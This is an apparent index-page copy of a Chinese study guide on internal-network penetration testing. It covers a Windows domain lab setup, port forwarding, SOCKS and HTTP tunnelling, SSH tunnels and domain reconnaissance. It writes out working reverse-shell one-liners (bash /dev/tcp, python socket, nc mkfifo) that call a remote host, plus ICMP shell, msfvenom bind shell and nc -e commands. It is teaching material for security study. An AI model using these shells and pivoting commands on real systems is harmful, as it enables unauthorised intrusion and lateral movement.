Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/l3m0n/pentest_study

从零开始内网渗透学习
https://github.com/l3m0n/pentest_study

Last synced: 5 days ago
JSON representation

从零开始内网渗透学习

Awesome Lists containing this project

README

        


README.html

div.oembedall-githubrepos{border:1px solid #DDD;border-radius:4px;list-style-type:none;margin:0 0 10px;padding:8px 10px 0;font:13.34px/1.4 helvetica,arial,freesans,clean,sans-serif;width:452px;background-color:#fff}div.oembedall-githubrepos .oembedall-body{background:-moz-linear-gradient(center top,#FAFAFA,#EFEFEF);background:-webkit-gradient(linear,left top,left bottom,from(#FAFAFA),to(#EFEFEF));border-bottom-left-radius:4px;border-bottom-right-radius:4px;border-top:1px solid #EEE;margin-left:-10px;margin-top:8px;padding:5px 10px;width:100%}div.oembedall-githubrepos h3{font-size:14px;margin:0;padding-left:18px;white-space:nowrap}div.oembedall-githubrepos p.oembedall-description{color:#444;font-size:12px;margin:0 0 3px}div.oembedall-githubrepos p.oembedall-updated-at{color:#888;font-size:11px;margin:0}div.oembedall-githubrepos ul.oembedall-repo-stats{border:none;float:right;font-size:11px;font-weight:700;padding-left:15px;position:relative;z-index:5;margin:0}div.oembedall-githubrepos ul.oembedall-repo-stats li{border:none;color:#666;display:inline-block;list-style-type:none;margin:0!important}div.oembedall-githubrepos ul.oembedall-repo-stats li a{background-color:transparent;border:none;color:#666!important;background-position:5px -2px;background-repeat:no-repeat;border-left:1px solid #DDD;display:inline-block;height:21px;line-height:21px;padding:0 5px 0 23px}div.oembedall-githubrepos ul.oembedall-repo-stats li:first-child a{border-left:medium none;margin-right:-3px}div.oembedall-githubrepos ul.oembedall-repo-stats li a:hover{background:5px -27px no-repeat #4183C4;color:#FFF!important;text-decoration:none}div.oembedall-githubrepos ul.oembedall-repo-stats li:first-child a:hover{border-bottom-left-radius:3px;border-top-left-radius:3px}ul.oembedall-repo-stats li:last-child a:hover{border-bottom-right-radius:3px;border-top-right-radius:3px}span.oembedall-closehide{background-color:#aaa;border-radius:2px;cursor:pointer;margin-right:3px}div.oembedall-container{margin-top:5px;text-align:left}.oembedall-ljuser{font-weight:700}.oembedall-ljuser img{vertical-align:bottom;border:0;padding-right:1px}.oembedall-stoqembed{border-bottom:1px dotted #999;float:left;overflow:hidden;width:730px;line-height:1;background:#FFF;color:#000;font-family:Arial,Liberation Sans,DejaVu Sans,sans-serif;font-size:80%;text-align:left;margin:0;padding:0}.oembedall-stoqembed a{color:#07C;text-decoration:none;margin:0;padding:0}.oembedall-stoqembed a:hover{text-decoration:underline}.oembedall-stoqembed a:visited{color:#4A6B82}.oembedall-stoqembed h3{font-family:Trebuchet MS,Liberation Sans,DejaVu Sans,sans-serif;font-size:130%;font-weight:700;margin:0;padding:0}.oembedall-stoqembed .oembedall-reputation-score{color:#444;font-size:120%;font-weight:700;margin-right:2px}.oembedall-stoqembed .oembedall-user-info{height:35px;width:185px}.oembedall-stoqembed .oembedall-user-info .oembedall-user-gravatar32{float:left;height:32px;width:32px}.oembedall-stoqembed .oembedall-user-info .oembedall-user-details{float:left;margin-left:5px;overflow:hidden;white-space:nowrap;width:145px}.oembedall-stoqembed .oembedall-question-hyperlink{font-weight:700}.oembedall-stoqembed .oembedall-stats{background:#EEE;margin:0 0 0 7px;padding:4px 7px 6px;width:58px}.oembedall-stoqembed .oembedall-statscontainer{float:left;margin-right:8px;width:86px}.oembedall-stoqembed .oembedall-votes{color:#555;padding:0 0 7px;text-align:center}.oembedall-stoqembed .oembedall-vote-count-post{font-size:240%;color:#808185;display:block;font-weight:700}.oembedall-stoqembed .oembedall-views{color:#999;padding-top:4px;text-align:center}.oembedall-stoqembed .oembedall-status{margin-top:-3px;padding:4px 0;text-align:center;background:#75845C;color:#FFF}.oembedall-stoqembed .oembedall-status strong{color:#FFF;display:block;font-size:140%}.oembedall-stoqembed .oembedall-summary{float:left;width:635px}.oembedall-stoqembed .oembedall-excerpt{line-height:1.2;margin:0;padding:0 0 5px}.oembedall-stoqembed .oembedall-tags{float:left;line-height:18px}.oembedall-stoqembed .oembedall-tags a:hover{text-decoration:none}.oembedall-stoqembed .oembedall-post-tag{background-color:#E0EAF1;border-bottom:1px solid #3E6D8E;border-right:1px solid #7F9FB6;color:#3E6D8E;font-size:90%;line-height:2.4;margin:2px 2px 2px 0;padding:3px 4px;text-decoration:none;white-space:nowrap}.oembedall-stoqembed .oembedall-post-tag:hover{background-color:#3E6D8E;border-bottom:1px solid #37607D;border-right:1px solid #37607D;color:#E0EAF1}.oembedall-stoqembed .oembedall-fr{float:right}.oembedall-stoqembed .oembedall-statsarrow{background-image:url(http://cdn.sstatic.net/stackoverflow/img/sprites.png?v=3);background-repeat:no-repeat;overflow:hidden;background-position:0 -435px;float:right;height:13px;margin-top:12px;width:7px}.oembedall-facebook1{border:1px solid #1A3C6C;padding:0;font:13.34px/1.4 verdana;width:500px}.oembedall-facebook2{background-color:#627add}.oembedall-facebook2 a{color:#e8e8e8;text-decoration:none}.oembedall-facebookBody{background-color:#fff;vertical-align:top;padding:5px}.oembedall-facebookBody .contents{display:inline-block;width:100%}.oembedall-facebookBody div img{float:left;margin-right:5px}div.oembedall-lanyard{-webkit-box-shadow:none;-webkit-transition-delay:0s;-webkit-transition-duration:.4000000059604645s;-webkit-transition-property:width;-webkit-transition-timing-function:cubic-bezier(0.42,0,.58,1);background-attachment:scroll;background-clip:border-box;background-color:transparent;background-image:none;background-origin:padding-box;border-width:0;box-shadow:none;color:#112644;display:block;float:left;font-family:'Trebuchet MS',Trebuchet,sans-serif;font-size:16px;height:253px;line-height:19px;margin:0;max-width:none;min-height:0;outline:#112644 0;overflow-x:visible;overflow-y:visible;padding:0;position:relative;text-align:left;vertical-align:baseline;width:804px}div.oembedall-lanyard .tagline{font-size:1.5em}div.oembedall-lanyard .wrapper{overflow:hidden;clear:both}div.oembedall-lanyard .split{float:left;display:inline}div.oembedall-lanyard .prominent-place .flag:active,div.oembedall-lanyard .prominent-place .flag:focus,div.oembedall-lanyard .prominent-place .flag:hover,div.oembedall-lanyard .prominent-place .flag:link,div.oembedall-lanyard .prominent-place .flag:visited{float:left;display:block;width:48px;height:48px;position:relative;top:-5px;margin-right:10px}div.oembedall-lanyard .place-context{font-size:.889em}div.oembedall-lanyard .prominent-place .sub-place{display:block}div.oembedall-lanyard .prominent-place{font-size:1.125em;line-height:1.1em;font-weight:400}div.oembedall-lanyard .main-date{color:#8CB4E0;font-weight:700;line-height:1.1}div.oembedall-lanyard .first{width:48.57%;margin:0 0 0 2.857%}.mermaid .label{color:#333}.node circle,.node polygon,.node rect{fill:#cde498;stroke:#13540c;stroke-width:1px}.edgePath .path{stroke:green;stroke-width:1.5px}.cluster rect{fill:#cdffb2;rx:40;stroke:#6eaa49;stroke-width:1px}.cluster text{fill:#333}.actor{stroke:#13540c;fill:#cde498}text.actor{fill:#000;stroke:none}.actor-line{stroke:grey}.messageLine0{stroke-width:1.5;stroke-dasharray:"2 2";marker-end:"url(#arrowhead)";stroke:#333}.messageLine1{stroke-width:1.5;stroke-dasharray:"2 2";stroke:#333}#arrowhead{fill:#333}#crosshead path{fill:#333!important;stroke:#333!important}.messageText{fill:#333;stroke:none}.labelBox{stroke:#326932;fill:#cde498}.labelText,.loopText{fill:#000;stroke:none}.loopLine{stroke-width:2;stroke-dasharray:"2 2";marker-end:"url(#arrowhead)";stroke:#326932}.note{stroke:#6eaa49;fill:#fff5ad}.noteText{fill:#000;stroke:none;font-family:'trebuchet ms',verdana,arial;font-size:14px}.section{stroke:none;opacity:.2}.section0,.section2{fill:#6eaa49}.section1,.section3{fill:#fff;opacity:.2}.sectionTitle0,.sectionTitle1,.sectionTitle2,.sectionTitle3{fill:#333}.sectionTitle{text-anchor:start;font-size:11px;text-height:14px}.grid .tick{stroke:lightgrey;opacity:.3;shape-rendering:crispEdges}.grid path{stroke-width:0}.today{fill:none;stroke:red;stroke-width:2px}.task{stroke-width:2}.taskText{text-anchor:middle;font-size:11px}.taskTextOutsideRight{fill:#000;text-anchor:start;font-size:11px}.taskTextOutsideLeft{fill:#000;text-anchor:end;font-size:11px}.taskText0,.taskText1,.taskText2,.taskText3{fill:#fff}.task0,.task1,.task2,.task3{fill:#487e3a;stroke:#13540c}.taskTextOutside0,.taskTextOutside1,.taskTextOutside2,.taskTextOutside3{fill:#000}.active0,.active1,.active2,.active3{fill:#cde498;stroke:#13540c}.activeText0,.activeText1,.activeText2,.activeText3{fill:#000!important}.done0,.done1,.done2,.done3{stroke:grey;fill:lightgrey;stroke-width:2}.doneText0,.doneText1,.doneText2,.doneText3{fill:#000!important}.crit0,.crit1,.crit2,.crit3{stroke:#f88;fill:red;stroke-width:2}.activeCrit0,.activeCrit1,.activeCrit2,.activeCrit3{stroke:#f88;fill:#cde498;stroke-width:2}.doneCrit0,.doneCrit1,.doneCrit2,.doneCrit3{stroke:#f88;fill:lightgrey;stroke-width:2;cursor:pointer;shape-rendering:crispEdges}.activeCritText0,.activeCritText1,.activeCritText2,.activeCritText3,.doneCritText0,.doneCritText1,.doneCritText2,.doneCritText3{fill:#000!important}.titleText{text-anchor:middle;font-size:18px;fill:#000}text{font-family:'trebuchet ms',verdana,arial;font-size:14px}html{height:100%}body{margin:0!important;padding:5px 20px 26px!important;background-color:#fff;font-family:"Lucida Grande","Segoe UI","Apple SD Gothic Neo","Malgun Gothic","Lucida Sans Unicode",Helvetica,Arial,sans-serif;font-size:.9em;overflow-x:hidden;overflow-y:auto}br,h1,h2,h3,h4,h5,h6{clear:both}hr.page{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x;border:0;height:3px;padding:0}hr.underscore{border-top-style:dashed!important}body >:first-child{margin-top:0!important}img.plugin{box-shadow:0 1px 3px rgba(0,0,0,.1);border-radius:3px}iframe{border:0}figure{-webkit-margin-before:0;-webkit-margin-after:0;-webkit-margin-start:0;-webkit-margin-end:0}kbd{border:1px solid #aaa;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:1px 2px 2px #ddd;-webkit-box-shadow:1px 2px 2px #ddd;box-shadow:1px 2px 2px #ddd;background-color:#f9f9f9;background-image:-moz-linear-gradient(top,#eee,#f9f9f9,#eee);background-image:-o-linear-gradient(top,#eee,#f9f9f9,#eee);background-image:-webkit-linear-gradient(top,#eee,#f9f9f9,#eee);background-image:linear-gradient(top,#eee,#f9f9f9,#eee);padding:1px 3px;font-family:inherit;font-size:.85em}.oembeded .oembed_photo{display:inline-block}img[data-echo]{margin:25px 0;width:100px;height:100px;background:url(../img/ajax.gif) center center no-repeat #fff}.spinner{display:inline-block;width:10px;height:10px;margin-bottom:-.1em;border:2px solid rgba(0,0,0,.5);border-top-color:transparent;border-radius:100%;-webkit-animation:spin 1s infinite linear;animation:spin 1s infinite linear}.spinner:after{content:'';display:block;width:0;height:0;position:absolute;top:-6px;left:0;border:4px solid transparent;border-bottom-color:rgba(0,0,0,.5);-webkit-transform:rotate(45deg);transform:rotate(45deg)}@-webkit-keyframes spin{to{-webkit-transform:rotate(360deg)}}@keyframes spin{to{transform:rotate(360deg)}}p.toc{margin:0!important}p.toc ul{padding-left:10px}p.toc>ul{padding:10px;margin:0 10px;display:inline-block;border:1px solid #ededed;border-radius:5px}p.toc li,p.toc ul{list-style-type:none}p.toc li{width:100%;padding:0;overflow:hidden}p.toc li a::after{content:"."}p.toc li a:before{content:"• "}p.toc h5{text-transform:uppercase}p.toc .title{float:left;padding-right:3px}p.toc .number{margin:0;float:right;padding-left:3px;background:#fff;display:none}input.task-list-item{margin-left:-1.62em}.markdown{font-family:"Hiragino Sans GB","Microsoft YaHei",STHeiti,SimSun,"Lucida Grande","Lucida Sans Unicode","Lucida Sans",'Segoe UI',AppleSDGothicNeo-Medium,'Malgun Gothic',Verdana,Tahoma,sans-serif;padding:20px}.markdown a{text-decoration:none;vertical-align:baseline}.markdown a:hover{text-decoration:underline}.markdown h1{font-size:2.2em;font-weight:700;margin:1.5em 0 1em}.markdown h2{font-size:1.8em;font-weight:700;margin:1.275em 0 .85em}.markdown h3{font-size:1.6em;font-weight:700;margin:1.125em 0 .75em}.markdown h4{font-size:1.4em;font-weight:700;margin:.99em 0 .66em}.markdown h5{font-size:1.2em;font-weight:700;margin:.855em 0 .57em}.markdown h6{font-size:1em;font-weight:700;margin:.75em 0 .5em}.markdown h1+p,.markdown h1:first-child,.markdown h2+p,.markdown h2:first-child,.markdown h3+p,.markdown h3:first-child,.markdown h4+p,.markdown h4:first-child,.markdown h5+p,.markdown h5:first-child,.markdown h6+p,.markdown h6:first-child{margin-top:0}.markdown hr{border:1px solid #ccc}.markdown p{margin:1em 0;word-wrap:break-word}.markdown ol{list-style-type:decimal}.markdown li{display:list-item;line-height:1.4em}.markdown blockquote{margin:1em 20px}.markdown blockquote>:first-child{margin-top:0}.markdown blockquote>:last-child{margin-bottom:0}.markdown blockquote cite:before{content:'\2014 \00A0'}.markdown .code{border-radius:3px;word-wrap:break-word}.markdown pre{border-radius:3px;word-wrap:break-word;border:1px solid #ccc;overflow:auto;padding:.5em}.markdown pre code{border:0;display:block}.markdown pre>code{font-family:Consolas,Inconsolata,Courier,monospace;font-weight:700;white-space:pre;margin:0}.markdown code{border-radius:3px;word-wrap:break-word;border:1px solid #ccc;padding:0 5px;margin:0 2px}.markdown img{max-width:100%}.markdown mark{color:#000;background-color:#fcf8e3}.markdown table{padding:0;border-collapse:collapse;border-spacing:0;margin-bottom:16px}.markdown table tr td,.markdown table tr th{border:1px solid #ccc;margin:0;padding:6px 13px}.markdown table tr th{font-weight:700}.markdown table tr th>:first-child{margin-top:0}.markdown table tr th>:last-child{margin-bottom:0}.markdown table tr td>:first-child{margin-top:0}.markdown table tr td>:last-child{margin-bottom:0}@import url(http://fonts.googleapis.com/css?family=Roboto+Condensed:300italic,400italic,700italic,400,300,700);.haroopad{padding:20px;color:#222;font-size:15px;font-family:"Roboto Condensed",Tauri,"Hiragino Sans GB","Microsoft YaHei",STHeiti,SimSun,"Lucida Grande","Lucida Sans Unicode","Lucida Sans",'Segoe UI',AppleSDGothicNeo-Medium,'Malgun Gothic',Verdana,Tahoma,sans-serif;background:#fff;line-height:1.6;-webkit-font-smoothing:antialiased}.haroopad a{color:#3269a0}.haroopad a:hover{color:#4183c4}.haroopad h2{border-bottom:1px solid #e6e6e6}.haroopad h6{color:#777}.haroopad hr{border:1px solid #e6e6e6}.haroopad blockquote>code,.haroopad h1>code,.haroopad h2>code,.haroopad h3>code,.haroopad h4>code,.haroopad h5>code,.haroopad h6>code,.haroopad li>code,.haroopad p>code,.haroopad td>code{font-family:Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:85%;background-color:rgba(0,0,0,.02);padding:.2em .5em;border:1px solid #efefef}.haroopad pre>code{font-size:1em;letter-spacing:-1px;font-weight:700}.haroopad blockquote{border-left:4px solid #e6e6e6;padding:0 15px;color:#777}.haroopad table{background-color:#fafafa}.haroopad table tr td,.haroopad table tr th{border:1px solid #e6e6e6}.haroopad table tr:nth-child(2n){background-color:#f2f2f2}.hljs{display:block;overflow-x:auto;padding:.5em;background:#fdf6e3;color:#657b83;-webkit-text-size-adjust:none}.diff .hljs-header,.hljs-comment,.hljs-doctype,.hljs-javadoc,.hljs-pi,.lisp .hljs-string{color:#93a1a1}.css .hljs-tag,.hljs-addition,.hljs-keyword,.hljs-request,.hljs-status,.hljs-winutils,.method,.nginx .hljs-title{color:#859900}.hljs-command,.hljs-dartdoc,.hljs-hexcolor,.hljs-link_url,.hljs-number,.hljs-phpdoc,.hljs-regexp,.hljs-rules .hljs-value,.hljs-string,.hljs-tag .hljs-value,.tex .hljs-formula{color:#2aa198}.css .hljs-function,.hljs-built_in,.hljs-chunk,.hljs-decorator,.hljs-id,.hljs-identifier,.hljs-localvars,.hljs-title,.vhdl .hljs-literal{color:#268bd2}.hljs-attribute,.hljs-class .hljs-title,.hljs-constant,.hljs-link_reference,.hljs-parent,.hljs-type,.hljs-variable,.lisp .hljs-body,.smalltalk .hljs-number{color:#b58900}.css .hljs-pseudo,.diff .hljs-change,.hljs-attr_selector,.hljs-cdata,.hljs-header,.hljs-pragma,.hljs-preprocessor,.hljs-preprocessor .hljs-keyword,.hljs-shebang,.hljs-special,.hljs-subst,.hljs-symbol,.hljs-symbol .hljs-string{color:#cb4b16}.hljs-deletion,.hljs-important{color:#dc322f}.hljs-link_label{color:#6c71c4}.tex .hljs-formula{background:#eee8d5}.MathJax_Hover_Frame{border-radius:.25em;-webkit-border-radius:.25em;-moz-border-radius:.25em;-khtml-border-radius:.25em;box-shadow:0 0 15px #83A;-webkit-box-shadow:0 0 15px #83A;-moz-box-shadow:0 0 15px #83A;-khtml-box-shadow:0 0 15px #83A;border:1px solid #A6D!important;display:inline-block;position:absolute}.MathJax_Hover_Arrow{position:absolute;width:15px;height:11px;cursor:pointer}#MathJax_About{position:fixed;left:50%;width:auto;text-align:center;border:3px outset;padding:1em 2em;background-color:#DDD;color:#000;cursor:default;font-family:message-box;font-size:120%;font-style:normal;text-indent:0;text-transform:none;line-height:normal;letter-spacing:normal;word-spacing:normal;word-wrap:normal;white-space:nowrap;float:none;z-index:201;border-radius:15px;-webkit-border-radius:15px;-moz-border-radius:15px;-khtml-border-radius:15px;box-shadow:0 10px 20px gray;-webkit-box-shadow:0 10px 20px gray;-moz-box-shadow:0 10px 20px gray;-khtml-box-shadow:0 10px 20px gray;filter:progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')}.MathJax_Menu{position:absolute;background-color:#fff;color:#000;width:auto;padding:2px;border:1px solid #CCC;margin:0;cursor:default;font:menu;text-align:left;text-indent:0;text-transform:none;line-height:normal;letter-spacing:normal;word-spacing:normal;word-wrap:normal;white-space:nowrap;float:none;z-index:201;box-shadow:0 10px 20px gray;-webkit-box-shadow:0 10px 20px gray;-moz-box-shadow:0 10px 20px gray;-khtml-box-shadow:0 10px 20px gray;filter:progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')}.MathJax_MenuItem{padding:2px 2em;background:0 0}.MathJax_MenuArrow{position:absolute;right:.5em;color:#666}.MathJax_MenuActive .MathJax_MenuArrow{color:#fff}.MathJax_MenuArrow.RTL{left:.5em;right:auto}.MathJax_MenuCheck{position:absolute;left:.7em}.MathJax_MenuCheck.RTL{right:.7em;left:auto}.MathJax_MenuRadioCheck{position:absolute;left:1em}.MathJax_MenuRadioCheck.RTL{right:1em;left:auto}.MathJax_MenuLabel{padding:2px 2em 4px 1.33em;font-style:italic}.MathJax_MenuRule{border-top:1px solid #CCC;margin:4px 1px 0}.MathJax_MenuDisabled{color:GrayText}.MathJax_MenuActive{background-color:Highlight;color:HighlightText}.MathJax_Menu_Close{position:absolute;width:31px;height:31px;top:-15px;left:-15px}#MathJax_Zoom{position:absolute;background-color:#F0F0F0;overflow:auto;display:block;z-index:301;padding:.5em;border:1px solid #000;margin:0;font-weight:400;font-style:normal;text-align:left;text-indent:0;text-transform:none;line-height:normal;letter-spacing:normal;word-spacing:normal;word-wrap:normal;white-space:nowrap;float:none;box-shadow:5px 5px 15px #AAA;-webkit-box-shadow:5px 5px 15px #AAA;-moz-box-shadow:5px 5px 15px #AAA;-khtml-box-shadow:5px 5px 15px #AAA;filter:progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')}#MathJax_ZoomOverlay{position:absolute;left:0;top:0;z-index:300;display:inline-block;width:100%;height:100%;border:0;padding:0;margin:0;background-color:#fff;opacity:0;filter:alpha(opacity=0)}#MathJax_ZoomFrame{position:relative;display:inline-block;height:0;width:0}#MathJax_ZoomEventTrap{position:absolute;left:0;top:0;z-index:302;display:inline-block;border:0;padding:0;margin:0;background-color:#fff;opacity:0;filter:alpha(opacity=0)}.MathJax_Preview{color:#888}#MathJax_Message{position:fixed;left:1px;bottom:2px;background-color:#E6E6E6;border:1px solid #959595;margin:0;padding:2px 8px;z-index:102;color:#000;font-size:80%;width:auto;white-space:nowrap}#MathJax_MSIE_Frame{position:absolute;top:0;left:0;width:0;z-index:101;border:0;margin:0;padding:0}.MathJax_Error{color:#C00;font-style:italic}footer{position:fixed;font-size:.8em;text-align:right;bottom:0;margin-left:-25px;height:20px;width:100%}

Team:Syclover
Author:L3m0n
Email:[email protected]



域环境搭建

准备:
DC: win2008
DM: win2003
DM: winxp


win2008(域控)
1、修改计算机名:

2、配置固定ip:
其中网关设置错误,应该为192.168.206.2,开始默认的网管

3、服务器管理器—-角色:

4、配置域服务:
dos下面输入dcpromo

Ps:这里可能会因为本地administrator的密码规则不合要求,导致安装失败,改一个强密码

5、设置林根域:
林就是在多域情况下形成的森林,根表示基础,其他在此根部衍生
具体见:http://angerfire.blog.51cto.com/198455/144123/

6、域数据存放的地址


win2003、winxp和08配置差不多

注意点是:
1、配置网络
dns server应该为主域控ip地址

2、加入域控


域已经搭建完成,主域控会生成一个krbtgt账号
他是Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证

参考:
AD域环境的搭建 基于Server 2008 R2
http://www.it165.net/os/html/201306/5493.html
Acitve Directory 域环境的搭建
http://blog.sina.com.cn/s/blog_6ce0f2c901014okt.html


端口转发&&边界代理

此类工具很多,测试一两个经典的。


端口转发

1、windows
lcx

监听1234端口,转发数据到2333端口

本地:lcx.exe -listen 1234 2333

将目标的3389转发到本地的1234端口
远程:lcx.exe -slave ip 1234 127.0.0.1 3389

netsh
只支持tcp协议

添加转发规则

netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=3333 connectaddress=192.168.206.100 connectport=3389
此工具适用于,有一台双网卡服务器,你可以通过它进行内网通信,比如这个,你连接192.168.206.101:3388端口是连接到100上面的3389

删除转发规则
netsh interface portproxy delete v4tov4 listenport=9090

查看现有规则
netsh interface portproxy show all

xp需要安装ipv6
netsh interface ipv6 install

更加详细参考:http://aofengblog.blog.163.com/blog/static/631702120148573851740/

2、linux
portmap

监听1234端口,转发数据到2333端口

本地:./portmap -m 2 -p1 1234 -p2 2333

将目标的3389转发到本地的1234端口
./portmap -m 1 -p1 3389 -h2 ip -p2 1234

iptables

1、编辑配置文件/etc/sysctl.conf的net.ipv4.ip_forward = 1

2、关闭服务
service iptables stop

3、配置规则
需要访问的内网地址:192.168.206.101
内网边界web服务器:192.168.206.129
iptables -t nat -A PREROUTING --dst 192.168.206.129 -p tcp --dport 3389 -j DNAT --to-destination 192.168.206.101:3389

iptables -t nat -A POSTROUTING --dst 192.168.206.101 -p tcp --dport 3389 -j SNAT --to-source 192.168.206.129

4、保存&&重启服务
service iptables save && service iptables start


socket代理

xsocks
1、windows

进行代理后,在windows下推荐使用Proxifier进行socket连接,规则自己定义

2、linux
进行代理后,推荐使用proxychains进行socket连接
kali下的配置文件:
/etc/proxychains.conf
添加一条:socks5 127.0.0.1 8888

然后在命令前加proxychains就进行了代理


神器推荐

http://rootkiter.com/EarthWorm/
跨平台+端口转发+socket代理结合体!darksn0w师傅的推荐。
ew_port_socket.zip


基于http的转发与socket代理(低权限下的渗透)

如果目标是在dmz里面,数据除了web其他出不来,便可以利用http进行
1、端口转发
tunna

>端口转发(将远程3389转发到本地1234)

>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 3389 -v
>
>连接不能中断服务(比如ssh)
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 22 -v -s
>
>转发192.168.0.2的3389到本地
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -a 192.168.0.2 -r 3389

具体参考:http://drops.wooyun.org/tools/650

2、socks代理
reGeorg

python reGeorgSocksProxy.py -u http://192.168.206.101/tunnel.php -p 8081


ssh通道

http://staff.washington.edu/corey/fw/ssh-port-forwarding.html
1、端口转发

本地访问127.0.0.1:port1就是host:port2(用的更多)

ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发

访问host:port2就是访问127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发

可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,监听本地port

可以将dmz_host的hostport端口转发到remote_ip的port端口
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类

2、socks

socket代理:

ssh -qTfnN -D port remotehost

参考redrain大牛的文章:http://drops.wooyun.org/tips/5234


获取shell


常规shell反弹

几个常用:

1、bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

2、python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

3、rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

各种语言一句话反弹shell:
http://wiki.wooyun.org/pentest:%E5%90%84%E7%A7%8D%E8%AF%AD%E8%A8%80%E4%B8%80%E5%8F%A5%E8%AF%9D%E5%8F%8D%E5%BC%B9shell


突破防火墙的imcp_shell反弹

有时候防火墙可能对tcp进行来处理,然而对imcp并没有做限制的时候,就可以来一波~
kali运行(其中的ip地址填写为目标地址win03):

win03运行:

icmpsh.exe -t kali_ip -d 500 -b 30 -s 128

可以看到icmp进行通信的


Shell反弹不出的时候

主要针对:本机kali不是外网或者目标在dmz里面反弹不出shell,可以通过这种直连shell然后再通过http的端口转发到本地的metasploit

1、msfvenom -p windows/x64/shell/bind_tcp LPORT=12345 -f exe -o ./shell.exe

先生成一个bind_shell

2、本地利用tunna工具进行端口转发
python proxy.py -u http://lemon.com/conn.jsp -l 1111 -r 12345 v

3、
use exploit/multi/handler
set payload windows/x64/shell/bind_tcp
set LPORT 1111
set RHOST 127.0.0.1

参考的文章:
https://www.91ri.org/11722.html


正向shell
1、nc -e /bin/sh -lp 1234

2、nc.exe -e cmd.exe -lp 1234


信息收集(结构分析)


基本命令

1、获取当前组的计算机名(一般remark有Dc可能是域控):

C:\Documents and Settings\Administrator\Desktop>net view

Server Name Remark

-----------------------------------------------------------------------------
\\DC1
\\DM-WINXP
\\DM_WIN03
The command completed successfully.

2、查看所有域

C:\Documents and Settings\Administrator\Desktop>net view /domain

Domain

-----------------------------------------------------------------------------
CENTOSO
The command completed successfully.

3、从计算机名获取ipv4地址

C:\Documents and Settings\Administrator\Desktop>ping -n 1 DC1 -4

Pinging DC1.centoso.com [192.168.206.100] with 32 bytes of data:

Reply from 192.168.206.100: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.206.100:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

Ps:如果计算机名很多的时候,可以利用bat批量ping获取ip

@echo off

setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)


